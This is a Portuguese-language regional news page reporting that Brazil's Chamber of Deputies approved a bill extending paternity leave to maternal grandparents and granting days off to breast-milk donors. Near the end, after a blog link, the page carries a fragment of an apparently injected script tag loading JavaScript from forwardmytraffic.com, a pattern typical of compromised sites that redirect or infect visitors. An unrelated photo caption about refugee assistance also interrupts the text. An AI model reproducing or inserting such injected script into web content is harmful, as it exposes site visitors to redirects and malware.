InícioDestaqueCâmara Aprova Licença-Paternidade Para Avós

Câmara Aprova Licença-Paternidade Para Avós

Últimas notícias

Danilo Dyba se apresenta no Natal em Família de Canoinhas nesta segunda-feira

O Natal em Família de Canoinhas recebe nesta segunda-feira...

Semana deve ser de temperatura baixa e pouca chuva

SEGUNDA-FEIRA (09) Na segunda-feira (09), a chuva diminui em parte...

Bombeiros atendem saída de pista na BR-280

Por volta das 14h deste domingo (08) foi registrado...

A Câmara dos Deputados aprovou nesta terça-feira (5) o projeto de lei que permite à avó ou ao avô maternos usufruir da licença paternidade quando o nome do pai não for declarado no registro da criança. A matéria segue para tramitação no Senado.

 

 

O PL estabelece que o direito de licença será usufruído, no período seguinte ao parto, apenas pelo avô ou avó que for declarado acompanhante da mulher que acabou de dar à luz. Pelo texto, o acompanhante poderá se ausentar do trabalho por cinco dias, sem prejuízo do salário.

 

 

Câmara realiza sessão para apreciação e votação da MP 820/18 que disciplina ações de assistência emergencial para acolhimento de estrangeiros que se refugiam no Brasil em razão de crises humanitárias em seus países de origem.

 

 

“A medida busca assegurar que a parturiente tenha alguém para acompanhar e auxiliar no período seguinte ao parto, momento de notórias dificuldades enfrentadas pela mulher com sua própria saúde e com o cuidado ao bebê”, justificou o deputado Lucas Vergilio (SD-GO), autor da proposta.

 

 

O texto incorporou o Projeto de Lei 7674/17, que inclui a concessão de um dia de dispensa por mês para a trabalhadora que doar leite materno. Essas folgas poderão ser usufruídas após o término da licença maternidade, cumulativamente, se a doadora fizer as doações durante essa licença. Para ter o direito à dispensa, a doação precisa ser atestada por banco oficial de leite.

 

 

Fonte: Heloisa Cristaldo – Repórter da Agência Brasil

 

Acesse o blog www.dalhedireito.com para ver outros artigos…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
Equipe A Gazeta Tresbarrense
Somos um jornal regional com mais de 20 anos de existência.